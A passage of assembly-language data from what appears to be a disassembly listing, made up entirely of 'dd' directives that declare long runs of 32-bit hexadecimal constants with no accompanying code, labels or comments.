		dd 0C06DF1A8h, 989D1EFDh, 48066BD8h, 0BB8708E8h, 532150CBh
		dd 440F20DAh, 0E027524Ah, 5ED6E8FFh, 9D00369h, 8E5004F8h
		dd 138764E8h, 0C82530B8h, 46B03830h, 187E0116h,	0B6696B45h
		dd 1547341h, 0DE3B374Fh, 75EC1B13h, 0E8D6251Dh,	0CFBF2420h
		dd 0D501E76Dh, 515E790Bh, 0DC7C064Ah, 893D2904h, 0D0E40BAh
		dd 81904h, 957D6E7Bh, 439AFC65h, 27BBA21Eh, 0B9259047h
		dd 34A4D014h, 0C4754E5Eh, 60CC086Ch, 7333ED80h,	986A02h
		dd 0E6AA8756h, 4763D43Eh, 7129371Eh, 0C4B911C4h, 600598ADh
		dd 0C284F51Fh, 5320D6C0h, 4722988h, 0B9F901B2h,	0D568C26Dh
		dd 6608028h, 399209Ah, 0B490CB3Bh, 0E03BF389h, 880C2416h
		dd 7A41E21Eh, 0D203E42h, 1C200F6Bh, 0FED08A80h,	0B9041863h
		dd 5208B680h, 569EFCC1h, 0E84DC60h, 46A5827Fh, 8AB9BEE2h
		dd 88AAA784h, 68E16140h, 4F5584D8h, 29B9095Fh, 0DED08C00h
		dd 0FD0FC8E7h, 965B4EB7h, 8B91081Dh, 78E88915h,	7EE14C77h
		dd 93073D05h, 80B0EC66h, 924DFE18h, 35240B20h, 200B6876h
		dd 0D0D3442Fh, 6313BD88h, 38D7D800h, 3BBAC8Fh, 70500256h
		dd 3219E9F0h, 0CA2A120h, 66B60529h, 0B20360FDh,	9FA32468h
		dd 0E01DEF0Fh, 74645EA0h, 9C821322h, 0D0ECF04Bh, 0C9F00200h
		dd 0CBB692D6h, 0EB470086h, 48D1CE2Eh, 0DE380DE6h, 7A0E5CA6h
		dd 0D4301A60h, 0EC37945Eh, 308F6AFh, 0D5F0B081h, 79B8F80Fh
		dd 9701BBCEh, 439D56E3h, 3E20A1E2h, 46C03882h, 0D2AE6D80h
		dd 0AAD40340h, 57EECBFCh, 0AB0E4EE0h, 6BA7EEFDh, 1C1C80E5h
		dd 7571A18Eh, 30532EEDh, 0B4230059h, 0B992BDA0h, 87E231E9h
		dd 0AB694349h, 37A3A04Ch, 0C0A82A2Dh, 49E4684Ah, 757CB70Ch
		dd 6612A48h, 230C92E3h,	0CF30D115h, 4E5A3127h, 9C253ED1h
		dd 30EA3A04h, 0C8C1C17Ch, 0D0208012h, 7D94E087h, 1CFE00CCh
		dd 2A74EDBCh, 7B00A6B9h, 4A0B7731h, 18F8C065h, 592CCF7Fh
		dd 800C274h, 11C4AE46h,	173A9FFh, 23375F14h, 437236A3h
		dd 46D47764h, 0EAA1B3CDh, 4EC10080h, 798CA9Ch, 6E00E016h
		dd 9B4A1038h, 44E15A09h, 0B00758E4h, 146B6FB2h,	0F2824A41h
		dd 7B0CCEF0h, 34B789Bh,	0D9CFAD8h, 6133A454h, 3A14A7Ah
		dd 0C3D3B779h, 0BEA0E4F5h, 700A828Fh, 0A02B10FFh, 52DB5000h
		dd 6639444h, 0FECA2DBCh, 9CCA681Bh, 0C5802409h,	0A3A7419Dh
		dd 48EE3877h, 2839780Eh, 42C1C0A1h, 0E0C16AA8h,	89BEAE2Dh
		dd 90252B8h, 248D4458h,	11B08491h, 1DCE8EDh, 6B2600B1h
		dd 0C53CEB7Dh, 3B0043CEh, 0E7BF4BBAh, 1B72BDCh,	0E2CDE653h
		dd 85D57744h, 43B42F49h
		dd 26FE2C28h, 9576EFh, 0FF93F555h, 0C0E403B3h, 0C582EB01h
		dd 1B695951h, 1C708040h, 11E22A1Dh, 0E72C03B8h,	17355ECCh
		dd 0DE0BF87h, 3805F975h, 0E093DF00h, 83C92CD7h,	9AC70CC8h
		dd 5881AC4Bh, 0B0235400h, 7BDF50B4h, 0A848007Dh, 0C82C6743h
		dd 311D74DCh, 0C5C0B532h, 64930DB4h, 0AE7F3044h, 676C9F41h
		dd 46015B06h, 1C91E9C8h, 41108D97h, 7CBF93ABh, 0EA2AC844h
		dd 777E2104h, 948848BDh, 8FCF00E4h, 788C0DE0h, 0E20C4BE3h
		dd 2125489Fh, 82981C4Ch, 9BB4094h, 99546229h, 0D27E5900h
		dd 0BE6B399Ch, 70B9247Bh, 5C9360A0h, 0E104EC29h, 0E908AB35h
		dd 1928D482h, 7D550864h, 0E95F0E6Fh, 0EBE0B6ECh, 7DD349ACh
		dd 6EF72A2Ch, 0E687271Fh, 3DE0313Fh, 9F8328h, 93BDA1DFh
		dd 2230FD82h, 9CA03528h, 0AFCC5B15h, 838900E8h,	4F841F3Dh
		dd 45BA00C4h, 0DDE33C4Bh, 9B0A0D98h, 98E5E272h,	0F657C480h
		dd 3021BB2Fh, 0B1C926CFh, 74007344h, 0FD930CFFh, 4876E370h
		dd 0DF01A047h, 0C3E13BB2h, 0E6C71017h, 0B9DE3A96h, 0AE4BE98Eh
		dd 442CFC21h, 13D3C075h, 2AC54903h, 1F458B8h, 0FDC302D8h
		dd 4883444Bh, 80079EE8h, 470CF50Bh, 0C4064C5h, 799BC09Fh
		dd 0E0800659h, 0C8B21C4Bh, 0FFE2D811h, 11424D03h, 1A8871E8h
		dd 0C090C573h, 0CD306CFAh, 5017A9ABh, 602848ECh, 81F60C22h
		dd 0F1F2ED0Eh, 0A9FD80BAh, 35FEBEAh, 70B8C383h,	8900A04Ah
		dd 1408061Bh, 21545C9h,	0E579DE7h, 0CC4C3AEh, 274F721Eh
		dd 0B05A8700h, 0E67B9D11h, 0F7430A15h, 3A03485h, 8BC1E568h
		dd 0F5F8DFE8h, 0B0668300h, 0CFD94EA7h, 149243h,	6DE7742h
		dd 0FF176CAh, 0AD1FFC07h, 9E6071BFh, 484586EEh,	6600C80Eh
		dd 3C435964h, 704CBBDBh, 15887BECh, 0E90161C4h,	0F447ADB1h
		dd 0F1247D4Dh, 0C420B02Ah, 0BBDE4416h, 12F21401h, 3180EAA7h
		dd 9EECDA81h, 3090A3B3h, 3B9C5903h, 0C34068E4h,	42F08A54h
		dd 0BC4499h, 723AFD17h,	4C2C7F9Fh, 3CF7821Ch, 0C174E140h
		dd 58A30D91h, 0A9800895h, 7709B636h, 314A0409h,	0A1340794h
		dd 0D0EFCEh, 276B6802h,	0F60701ECh, 0F37F088Fh,	5022D3h
		dd 0C6B3CA7Ch, 74E311h,	56EFC165h, 7EE25CCEh, 34E12700h
		dd 0C41D4EBh, 2288A62Eh, 0D14CE5C3h, 0FC110098h, 5DBA587Eh
		dd 327037Ch, 7598AEA9h,	1D0F5878h, 6147AF87h, 0AB155C41h
		dd 134112C3h, 0C12C2022h, 0B6065777h, 0A965444Ah, 66D8EF71h
		dd 5D8B0C4h, 966FC5E7h,	1448148h, 0D52CE070h, 4E9A4B02h
		dd 46B549A3h, 0F8DC0454h, 82800D4Fh, 7C24D590h,	0A381E8C1h
		dd 2BD26410h, 0A2D788A8h, 81B4EA38h, 9B217D5Bh,	2980264Bh
		dd 0E555BE49h, 0B90004A8h, 0CEBD6B40h, 0ADE66D8h, 0BA76E25Fh
		dd 304F13A6h, 0BB21F600h, 0CDD1C0Ah, 65004C28h,	5B5E2D82h
		dd 0B1E1h, 0C9B19D38h, 4601F619h, 2B8614D2h, 0AC3092ECh
		dd 0B22207B3h, 617DFC27h, 0F4B897BDh, 9A09984Eh, 205FCF7Bh
		dd 0FB718978h, 995A076Dh, 505B61CBh, 0D1A90F4Dh, 0A54A5E00h
		dd 0DEC14BB5h, 1365E8D2h, 20C3F096h, 0D8479C78h, 5600D972h
		dd 0BCDE8070h, 12314B91h, 21290CFDh, 30E02A00h,	7B4CA0B5h
		dd 8C9F0E48h, 0AC15C392h, 0C7D100F6h, 83491C7Ch, 0E3308AC0h
		dd 2FFE19EBh, 450C0401h, 80BE64EAh, 4CC0C110h, 19BC4A00h
		dd 3531D9FAh, 1DC4039Bh, 27A3FE8Ah, 0B7AA008Ch,	9EF440h
		dd 0B3E581D1h, 157C0886h, 18A4AF52h, 16A9A249h,	29F00172h
		dd 6C31D219h, 0C73B7022h, 9A997400h, 4A642BDDh,	6F015833h
		dd 39E1803Fh, 22A915D9h, 925A0050h, 36860DAEh, 2BA00942h
		dd 8490A8CCh, 0A30201CBh, 0A1E22860h, 1E185295h, 827570A7h
		dd 31A0D0EDh, 0F5003044h, 51207BB8h, 11403284h,	384A13h
		dd 5B76B568h, 0FAD95C90h, 0F2FEC1h, 6A07F93Bh, 0CD351224h
		dd 24A0305h, 0B8048A67h, 494BF5DDh, 2BC8B813h, 0D800170Eh
		dd 329A4116h, 737BA6h, 52DFB072h, 9EB721B8h, 8F4A153Ah
		dd 4248D77Fh, 62312B71h, 0B240023h, 730DBA7h, 8DE73AE9h
		dd 0EEA2093h, 0E5123661h, 4C888091h, 45C02EE0h,	3CE80246h
		dd 98645015h, 0A19B1313h, 0BFF8D800h, 1F2AC43Dh, 964D6A6Fh
		dd 4CE820D2h, 27B3FEBh,	0DA7BF400h, 0A1F9D1F0h,	0C04A4871h
		dd 78ABB080h, 99009C7Ch, 0C94F8F1Eh, 0BA090Dh, 3A13A2DCh
		dd 79E0B227h, 5891313Dh, 0EA11C3ACh, 0BA67D1ECh, 5ADBE8h
		dd 0D15018C0h, 53DD83BDh, 0D3D4A00h, 0DC1B5788h, 0D92867D2h
		dd 0BE60601Ch, 0C01793Bh, 9A05CE83h, 2181C115h,	317255D0h
		dd 0A69360FBh, 4461454Ah, 182E5554h, 0F359E910h, 5E87A200h
		dd 0ED64A772h, 0E1AF604Bh, 6DB5078Dh, 578B0900h, 0ECA5C7Fh
		dd 687E585Bh, 0F4F127C0h, 4100615Ah, 2684980Ah,	22DA71h
		dd 49642F08h, 922EF368h, 2CE84890h, 0E82BA988h,	0B57E0A96h
		dd 40BCCFDEh, 28B797E1h, 4AE07200h, 0D14C840Bh,	24DDE392h
		dd 0A82F710h, 0A5AFCB00h, 12805796h, 162FE053h,	0EFEC835h
		dd 2277903Ch, 0AF42B0C8h, 96568FC0h, 19C0ADFEh,	0DF7EE839h
		dd 3B210F19h, 5F4E18B4h, 800A0E05h, 0A849F09Ch,	672F7105h
		dd 886A44h, 0B9C4FF65h,	5499C2h, 0A261A4F3h, 7010CC0h
		dd 0D149BC4Eh, 218019CDh, 0EEE3C2D9h, 0DC0005A0h, 0F9A64808h
		dd 1F8ADBABh, 0DDAE59h,	5420735Dh, 752E74C9h, 0D214CC55h
		dd 88348098h, 4C89DB09h, 8400E64Dh, 0B2A79CC4h,	0D5732ACAh
		dd 0BE75F605h, 0E0204AF7h, 0DC80BBh, 0BC6B2C65h, 3448A969h
		dd 6456E302h, 63E468E7h, 0C8C8D533h, 310B00BFh,	53B4F652h
		dd 5800D15Eh, 4E432A51h, 73BA24h, 0CC824B1Dh, 2CBBF19Dh
		dd 6937B97Eh, 0CBC9413Ch, 0F819F83Ch, 0FE2600D2h, 99633C68h
		dd 0DA0364CAh, 2BA31EC4h, 97D9062Ah, 3928A0D2h,	62005490h
		dd 63C8277Fh, 0B3C7DA6h, 4C2AF282h, 0C8B088h, 2EAD9C3Ah
		dd 783D0E96h, 0E85236h,	0EE572A94h, 2C3CD5E4h, 380028F1h
		dd 0E6A0C44Ch, 0F4005F9Bh, 89F1CBD2h, 0F28B6382h, 337D47h
		dd 97FC2CCAh, 0E338FD83h, 8241FE60h, 0E50BE6h, 81989E7Dh
		dd 0E1920380h, 684B9F2Eh, 2AD562Fh, 32FF3A6Bh, 4C02A0E6h
		dd 12B7E669h, 649884DBh, 0B3CCE8E2h, 0A9044278h, 92EE3C4Bh
		dd 0D827ACC3h, 7C778C7Eh, 0BA1CA0F9h, 0AE080084h, 0E34AEA86h
		dd 0A0ABB6C3h, 89A01583h, 0C6076D36h, 7C259065h, 0E3B21DE0h
		dd 0FA311673h, 622C204Ah, 511DDC4Ch, 3D443322h,	9847732h
		dd 60CD00C8h, 41745914h, 1200E1EAh, 50ED43DFh, 77A3C24h
		dd 3A480535h, 9CC50011h, 0D0586686h, 0BA787CD0h, 900958F4h
		dd 90AE150Fh, 6E82C0h, 0D994430Bh, 0C568ED4Ah, 13E24718h
		dd 0FE4421h, 791C978Fh,	0F0D63822h, 70459000h, 5ACA2C49h
		dd 0B29F3E55h, 4A191180h, 0B61A3299h, 0A4F57A3Dh, 5A608029h
		dd 0E740EB9h, 9996D7C7h, 0C709E584h, 0E47227F8h, 0DB9CF073h
		dd 7E446E14h, 83748FB0h, 0D8F91952h, 3C930C49h,	0AE8150B4h
		dd 0D93BAA47h, 9BA8C469h, 72BCD313h, 2FDC68C9h,	0FD380056h
		dd 29C11B21h, 0E60B4264h, 904B9A33h, 0B6F0F0h, 5025DF30h
		dd 0EB8103DAh, 1BE9BB00h, 0CDB8FC7Ah, 3951C0ADh, 0D2C69E12h
		dd 0A0788909h, 8408922Ch, 7E40D524h, 0DEAE9854h, 0F00C4A2Ch
		dd 3818650Ah, 0C51CD381h, 29F00D9Fh, 0CC40007Fh, 0B190BA5Eh
		dd 60058353h, 4B2B9A5Fh, 49638802h, 240C6199h, 6F18910h
		dd 924ABF00h, 0A616367Eh
		dd 9C7301E9h, 0A1B01461h, 4FBAF465h, 87006790h,	8396B855h
		dd 2CBF0DDBh, 407CCD26h, 0F25D4F9Ch, 9CF74524h,	21FFBD00h
		dd 13FEE233h, 0A54696h,	0D3A02A14h, 54B172A9h, 0A239E080h
		dd 3F9B549Dh, 438B90E8h, 7400BDA3h, 8508692Ah, 0B6C222h
		dd 0B2976366h, 0CE7CB01Fh, 8D9DC003h, 0B947742h, 0E512DA30h
		dd 615BE486h, 840C84Ah,	530E6904h, 0A028E61Ch, 0C709BA9h
		dd 0DECD6CB1h, 0EE00D861h, 0F3110749h, 15FF11Bh, 33AF5691h
		dd 0D92EB10Bh, 27EB30F9h, 16151C00h, 745857FCh,	0AE4B504Ah
		dd 3C450434h, 8D4947DFh, 8F1FFC58h, 5B3F4100h, 0E5FFAE1Dh
		dd 93C52E44h, 4BE30293h, 2C64C415h, 0A7211318h,	94AFF91h
		dd 0E22FE59Ah, 0C3F7F468h, 0F349E900h, 15CE33E4h, 0FB2C0071h
		dd 4602BD9Bh, 65704A08h, 4FC0964Ch, 10E1D446h, 0EFB90041h
		dd 98014891h, 2801F861h, 30B2DCCAh, 0F3C80B36h,	0A86C00B5h
		dd 0C82A6758h, 0BB747D5Ah, 110744h, 6F3AB859h, 0A35ACF5h
		dd 5FFD820Eh, 683CA0D9h, 15A559Bh, 206A69A4h, 23397744h
		dd 0CB73DC0h, 9942CF98h, 0F7E7244Ch, 54C70026h,	9CE27D76h
		dd 91121903h, 5ACF30h, 795EAB29h, 0ED51422Bh, 8C49F200h
		dd 0E10C8D19h, 96A11DD7h, 7C460182h, 0C74BE025h, 0D455C3C0h
		dd 0AC54E174h, 7B2E51A8h, 730134CDh, 59E4DEE3h,	783A8C73h
		dd 9FA15A00h, 71958331h, 4C42558h, 4ACF2893h, 81BC88h
		dd 909964EDh, 0FFD71F41h, 8A054B02h, 60119132h,	9A6BA2Ch
		dd 0D129A357h, 0FD94EC10h, 80FA6204h, 0C8B255E9h, 7800AE3Fh
		dd 0C4839E68h, 71000812h, 0FE1C2DB5h, 47DA2D7h,	6E33BF87h
		dd 988CC07Ch, 0A93B96ACh, 4F137C62h, 68D3CDBCh,	80088B80h
		dd 2EF7E3h, 627C8DDh, 16E0AE21h, 5015D412h, 2D132421h
		dd 4516D1BEh, 86C890E2h, 0AE01D375h, 0ADE481BAh, 0B860F577h
		dd 0AF4A8807h, 0FE7D7A88h, 154500B3h, 0E6AC0CF4h, 9209CAA4h
		dd 6CDC36BCh, 7C355854h, 0ADD51C02h, 0AFC3B359h, 83493Dh
		dd 0CA8FCF08h, 1F802Fh,	8840B226h, 0DFF11281h, 0BDA9C2Dh
		dd 0D7E0036Ch, 8AF680C1h, 4024BC47h, 0E8A98370h, 0B3F4990Eh
		dd 283600B7h, 0BBA1E33Ch, 54550044h, 90C4309Dh,	0CA9F1707h
		dd 4469246Fh, 1C30044h,	3E791068h, 3B1EF875h, 9200BAF6h
		dd 2DDB97F7h, 8D4411C5h, 5C9A3BD5h, 12E40964h, 3C4CC8C2h
		dd 335C0073h, 0FA2774D7h, 0E4E8314Ch, 76E90B09h, 0CD588270h
		dd 0B3F4C13Fh, 12AA4C10h, 492F6007h, 0A4E04F09h, 26B4ED94h
		dd 206C2ABCh, 0B9801664h, 68FC0175h, 85F647C4h,	232BD750h
		dd 4909B41Fh, 9C64ABh, 4CB56805h, 0D2F5BE22h, 35D20h, 3901B42Dh
		dd 2EB0F430h, 0E0E7817Eh, 0A7607745h, 98E267E1h, 58600069h
		dd 0C4C99B4Bh, 54340C97h, 64A291DDh, 0CE485F00h, 9C259617h
		dd 5BB44703h, 84AF1593h, 2EA0CF41h, 1031AF24h, 90FF8E54h
		dd 0B251004Ah, 557B081Eh, 8A0501E4h, 0D2EAEB57h, 98DF388Ch
		dd 0C6BB0055h, 3031C3B0h, 600217Dh, 1EA6CC0Fh, 26B9B29Bh
		dd 0ACC2064h, 89B8F3B3h, 777E969Dh, 7C29BB00h, 5C0D9A47h
		dd 0D0073C9Bh, 81022772h, 0E437913Fh, 54B1D280h, 4F93C100h
		dd 0F304F6A5h, 3DA8F1FEh, 0F8C81Fh, 84EF93BBh, 66F60A80h
		dd 8382A91Fh, 4A441387h, 487CBB10h, 0F4177A8h, 93377AC0h
		dd 5882078Eh, 9090DD15h, 0AB0FDE82h, 2E4740A9h,	44740ADAh
		dd 2A703F80h, 3EDEBC2h,	0BA91A84Ch, 0FCAB154Ah,	56134113h
		dd 94CC1CD5h, 1B6C069Ah, 1874EA8Ah, 12C4F444h, 8B336Fh
		dd 0E2EDE584h, 0EB00B89Eh, 4BF1F89h, 140D7577h,	2CC3B1B9h
		dd 0EBF36307h, 0A0003929h, 66A9622Ch, 2095CFF8h, 2EFFEC94h
		dd 0A3243A27h, 82F9AC0Fh, 0E9C0B84Fh, 57F3470Dh, 14CB45Ch
		dd 45609256h, 0CD112583h, 0E66980B1h, 31EECBBEh, 52AD00E0h
		dd 5501F1B5h, 0DA7D1A64h, 42C3C5Ch, 0DDF0329Ch,	0B0EBB483h
		dd 0B6A7150Ch, 18E2981Ch, 3A5E44CDh, 53C28800h,	26F983E8h
		dd 407CE173h, 751D3D95h, 0EDE0C501h, 0CFA00607h, 0E600A83Dh
		dd 0D8B546F8h, 0E4A071A7h, 0D0B02E62h, 1B67821Eh, 391F19ACh
		dd 65A34F01h, 68404B32h, 0B12DDFh, 0F9A9CA16h, 0E799F49Bh
		dd 0EE754C02h, 0D1967E63h, 9A1800ACh, 0D38FF6A4h, 0E7017BF6h
		dd 1283A354h, 3FD1D66Eh, 0AC387ECDh, 25461780h,	0AD00A310h
		dd 903778CBh, 7F7AD361h, 89BB884Ah, 9775E01Dh, 0F20A5426h
		dd 0F147D4D3h, 37EF99D0h, 0B5FF0B36h, 805D78B2h, 0BB74302h
		dd 0B8862C19h, 0CA107DCh, 0A8901BE2h, 82028397h, 4DC4B26Bh
		dd 3FD0D0DCh, 27014C2Ch, 3ADB9BE2h, 0D8B8407Ch,	187C12CBh
		dd 7D92E000h, 290C4F3Bh, 9E609EA9h, 6F5580A8h, 0F2672397h
		dd 0CC839F00h, 0E25F4E8Fh, 5EA73E1Eh, 890DEC50h, 703949h
		dd 74C5DD6Eh, 0EF7D398h, 0B329991Eh, 0C988EDE0h, 310978C8h
		dd 52C2B894h, 19A700A0h, 273C1D5Ah, 7B0320CAh, 36870C7Eh
		dd 416DAA57h, 0C9D82B4Ch, 0D4822244h, 0EB314A07h, 0E1545395h
		dd 1AE20E4h, 93E2D63Ch,	0C88BB4AFh, 0C70988CEh,	0C0477473h
		dd 4CAB6FE4h, 9320D842h, 0FBDA0201h, 76433F1Ah,	0A3176039h
		dd 0DA18602Ah, 32265448h, 160B4C6Ah, 4A8384FEh,	9F658F4h
		dd 0CFD9A0B1h, 0C7761098h, 0D34D3900h, 0F7610C93h, 2AA025BBh
		dd 7F426844h, 2231A316h, 0E08091D0h, 75A09AC7h,	36A85806h
		dd 2FDA7A73h, 342029A1h, 7C0A3C4Ah, 0CD4EA708h,	63A38015h
		dd 0F0A96BFFh, 5AB84600h, 0BED2E31Bh, 6483173Eh, 0E0783121h
		dd 7ACC9C49h, 3525B900h, 0E3D478Bh, 0A1D8F2D6h,	1A313E01h
		dd 191170CEh, 225EB00h,	7FFB5394h, 554E0EA8h, 0D4A385C7h
		dd 77E0AAE2h, 0DE4E6058h, 98959820h, 7C2A0F44h,	0F46052B2h
		dd 0D23827A1h, 0B900B491h, 8DCA58EBh, 2DB000E5h, 53A96F28h
		dd 7D04C7B4h, 0CC082F89h, 0E224F4F4h, 80EE0078h, 0B2C4B636h
		dd 900A110h, 0C8EF5144h, 5B63AFh, 20FFD555h, 0B9B3ABADh
		dd 7232C0C2h, 6D0618Eh,	385C4912h, 4B5CF082h, 368E60EDh
		dd 72A60B1Bh, 8000807h,	24A35ABBh, 50010891h, 1A2EF13Ch
		dd 0DC4CA0E5h, 309098h,	55C462CDh, 2CC57FDAh, 97527100h
		dd 4907F8F3h, 69CC88AFh, 3C3DF209h, 0FE3D8111h,	0C4736561h
		dd 2FB98103h, 80F464DEh, 0C1455FAEh, 9194DC03h,	0B8F6CFFCh
		dd 92AC4D2h, 4F840AC5h,	99EB5C98h, 7089E900h, 968377Eh
		dd 2FD105B6h, 0C03AF639h, 569CA1E6h, 5C11D739h,	7F887C08h
		dd 51480568h, 0C8CF558Dh, 1D07B34Ch, 0B5830FD3h, 0D2408850h
		dd 94B6301Ch, 68F8BAE0h, 0C115AF12h, 5C49C422h,	0A53CBC54h
		dd 0ED783F07h, 15DC803Dh, 29D2FAC3h, 7200F8B2h,	0DBB8FCC8h
		dd 0C7026436h, 0FE368DDh, 80CCF121h, 2622BDCh, 0F82C51E6h
		dd 58402CE1h, 2F7936DDh, 0C49029C2h, 0FA14885Bh, 4CCAC47h
		dd 0C32F4C6Ch, 65F030E5h, 32702ECh, 58EE323Bh, 9C668D80h
		dd 7305B8D2h, 60B393BAh, 327A48Ch, 7197B7FEh, 9DC8312Ch
		dd 84001EE1h, 0B1CF647Eh, 80AD51E8h, 8216B466h,	400A70A6h
		dd 1160ECF8h, 3AE97A4Dh, 84075409h, 2FAB3D2Dh, 0F0278D67h
		dd 0CE19EEB7h, 9440CD4Bh, 69F6B5A4h, 97A80022h,	82C672A9h
		dd 0A7007E95h, 801C06B9h, 2F1575B8h, 0CB8FAAEh,	0D1003E1Dh
		dd 38A0F01Eh, 171CEAh, 87190EF8h, 5744A899h, 4AFA709Ah
		dd 4726C8A6h, 0E81DDB80h, 2800C46Eh, 296354BBh,	0CC9100BFh
		dd 86B53C14h
		dd 54BC27A0h, 816834BAh, 1ABD6880h, 72B82CDCh, 8FF41DF4h
		dd 9E0AE13Ch, 51D761DCh, 58F8C306h, 7BFE7A77h, 2590A0A3h
		dd 0B09EB332h, 2E5B6640h, 93C4006Eh, 762201B7h,	7E07FA42h
		dd 60822C40h, 9DBA53A0h, 83470221h, 3EA85FFDh, 0CECC081h
		dd 48247923h, 54305E00h, 14B4B642h, 804EB987h, 0A59A08C0h
		dd 8C005E33h, 544D4361h, 0F0BCCFEh, 0E0D95348h,	1877D45Eh
		dd 8830A316h, 9784811Ch, 0D6931490h, 0B6E3CB02h, 40D8FC5Ch
		dd 3965B5D7h, 9437227Fh, 0D2810898h, 0A65EC42Ah, 2FB44FF0h
		dd 3090220Dh, 9700F3B7h, 9B0CFB31h, 5C4BAA6Ah, 0E800AACAh
		dd 0E42A6C55h, 4C3F3506h, 0D91F9782h, 0AE78030h, 24840EA2h
		dd 0A880BFC7h, 88660E2Eh, 6D7201Ch, 4012C0EAh, 84B2B24Eh
		dd 619FAE00h, 10A3890Eh, 0B3DDA200h, 2DFDEF63h,	3590092Ch
		dd 2068E1DAh, 0FA00BEFFh, 25844DA2h, 0F3D8EB1h,	0FEBC19EDh
		dd 4BACD3C2h, 7D8324C0h, 53402C9Eh, 652CE4h, 1E62B45Bh
		dd 11BDD6Dh, 9AEF7602h,	724BBB93h, 0F4F8000Ch, 0DD9462D9h
		dd 50E86517h, 38FA2A00h, 7B631CE1h, 99040027h, 0DD836976h
		dd 0A0952CA1h, 7FF9B628h, 0E05916B7h, 509C26CEh, 0F5BFEF00h
		dd 7164B13h, 0CCC50FD8h, 2DA125A5h, 324A97FDh, 807A3E6Ch
		dd 51D480B3h, 7556F5h, 118640C1h, 0AE6B431Ah, 0F95F9D88h
		dd 4877EEF4h, 0A4224474h, 0B20084B0h, 684B1DD8h, 3CAAE3F2h
		dd 0B740870h, 0AC15D926h, 0FC04E864h, 34AA9D7h,	0BB6A0081h
		dd 0E0831C38h, 5FD8FF4Dh, 6901541Ah, 777C2A9h, 4180F6E1h
		dd 0EE72E05Ch, 0DCB873EAh, 0AF221042h, 80359700h, 66DB2728h
		dd 0A5C3002Ch, 15D86811h, 2F004D53h, 9EE09F70h,	1293B18Eh
		dd 4059CF73h, 67D91E58h, 0DAFEFCF9h, 26898400h,	0F59F011Ch
		dd 49B700D8h, 1DC174DDh, 2D52A328h, 824A02C4h, 40EA31F8h
		dd 194BDA64h, 1A2E1D9Ah, 80202A83h, 360D7B7h, 81CF36Ch
		dd 898869AFh, 0DF15CB2Bh, 71A8B2C3h, 28037F01h,	0E26B71FDh
		dd 2D26C34h, 546FBF1Fh,	0F046479Ch, 0FAFF9800h,	55C0D141h
		dd 68701C13h, 49FB0017h, 589B8CB8h, 7D16A007h, 69500127h
		dd 3EBA3AD8h, 0C1BA29F6h, 49EBBE00h, 5442DE86h,	0A525441Dh
		dd 93E149h, 2E335671h, 13320EA8h, 0B9E04BDCh, 0FBD4ED6Ah
		dd 2D7F1B03h, 2C9A2AB8h, 337A728h, 0F47B29DCh, 2D4ADF98h
		dd 2125B330h, 6A03AFh, 0F302D293h, 0E5F2A343h, 0B490D103h
		dd 1F2656F8h, 689229h, 4FDAFBBFh, 4607BE97h, 6DA8E1A0h
		dd 1F41A561h, 9A980CCFh, 56088E4Fh, 83224500h, 0CB559C38h
		dd 35E40C26h, 0B83ADE61h, 0A7378103h, 89CFEC72h, 0E7E8F4D3h
		dd 6F4A1C1Ah, 8C688127h, 202D4051h, 88C39B80h, 78A2A598h
		dd 49860069h, 0F70E441Ah, 0BE5CF44Eh, 8CB10CF5h, 7D2E31A4h
		dd 7C2B443Dh, 4C8E3900h, 6FD1DC55h, 99A5308Ch, 805AB29h
		dd 0AEF2B009h, 4FF0804Eh, 0E8976479h, 0BB41C035h, 5215A566h
		dd 292B2A00h, 76192C84h, 8E133FC5h, 871EBE80h, 0B8576951h
		dd 30242300h, 0A88CF743h, 0A69C09Eh, 25AFE15Ch,	0A7229107h
		dd 0E00F375Dh, 0B74CA9A8h, 0F8C8C06Eh, 5A285C3Dh, 32179C03h
		dd 0A67292h, 1D3FBAF9h,	6DE1E5BCh, 8DC3D400h, 6138541h
		dd 4F101850h, 813FB132h, 0C7C57806h, 1E8197E1h,	406CA55Eh
		dd 0E4FF84BDh, 0D5E9CDC9h, 0A4A888E2h, 5DFD9C98h, 0D0B8C0DEh
		dd 0F2DD8BEAh, 0E80095F0h, 0E2ECB5F1h, 53A6E1C9h, 0D300B05Eh
		dd 227D9C8Dh, 0B2790E78h, 0D4C45D54h, 4928E90Eh, 2DCAC0DCh
		dd 733FBB7Ch, 7EAE03C1h, 0FCFFB545h, 0CCF3F800h, 0AFA4634Bh
		dd 6859D840h, 0EB3DA935h, 81A1E0FFh, 4E641Ah, 658E127Dh
		dd 0D663FBEDh, 949AA400h, 0F2D84D6Fh, 8C90F8h, 0FDE5AC43h
		dd 5EFC41CEh, 0A59DDC09h, 7B2410A9h, 0F7E247h, 6580F228h
		dd 7702486Bh, 0D2E06111h, 0B1AD6F00h, 387C23F6h, 1C3A5A01h
		dd 0BECF849Bh, 467BE841h, 109AC080h, 1EED7CADh,	5186771Fh
		dd 90B98C03h, 0E880B4A9h, 1C95845Fh, 3F1B401h, 12275276h
		dd 0C864A800h, 0E25F5F7h, 344F305Bh, 20DEC0A1h,	6E00F9F0h
		dd 0D7EBD5FDh, 70816D3Eh, 48BE7C48h, 0D1616B42h, 24280C2Dh
		dd 503348DCh, 0E03D8015h, 61B1EFCh, 7347D414h, 6F0031A0h
		dd 98F5073Eh, 12DDDF9Eh, 0AAB949A7h, 0E3A33900h, 599F02Ah
		dd 0C28CCAB5h, 718846A2h, 503F41BAh, 83A18E74h,	0F72840AFh
		dd 3A3DF2F6h, 0AB4C30BEh, 58AC230Fh, 7F50E180h,	0EE1EBD64h
		dd 42186DF6h, 3B054BF8h, 51801D1Ch, 0EABEC272h,	770CABA2h
		dd 692B736Dh, 9C70967h,	3C80F3C3h, 95E3CC35h, 41ABA410h
		dd 0EEBE5600h, 6EEDEAA6h, 392D7330h, 0B49758h, 5B2C752h
		dd 230DC21Fh, 0AB3FC807h, 1A3A587h, 1080A5B1h, 13E24AAEh
		dd 2C2442D3h, 6900CD68h, 0C98AA310h, 77C145h, 3DC0AC87h
		dd 42C56C62h, 369A800h,	0F798CC91h, 5CC71CB3h, 32A5041Ch
		dd 0D1B58295h, 0FCB2A0A0h, 5E2C1F31h, 0D4007AB3h, 4BA885DCh
		dd 661C00F5h, 0E9B8F6BEh, 3354AEA4h, 0BD003D70h, 7706809Eh
		dd 111AAB6h, 148D353h, 0F4A04796h, 0EF002D19h, 0B6E10908h
		dd 49562205h, 3438C442h, 25E47480h, 2A3AD4D7h, 0B80C1A03h
		dd 0A2B1A36Ah, 0FA5C40FFh, 44EA48E6h, 0BE95451Eh, 8CA43024h
		dd 398C890h, 44D6A411h,	0ABE0D10Ch, 40046D9h, 93999DF3h
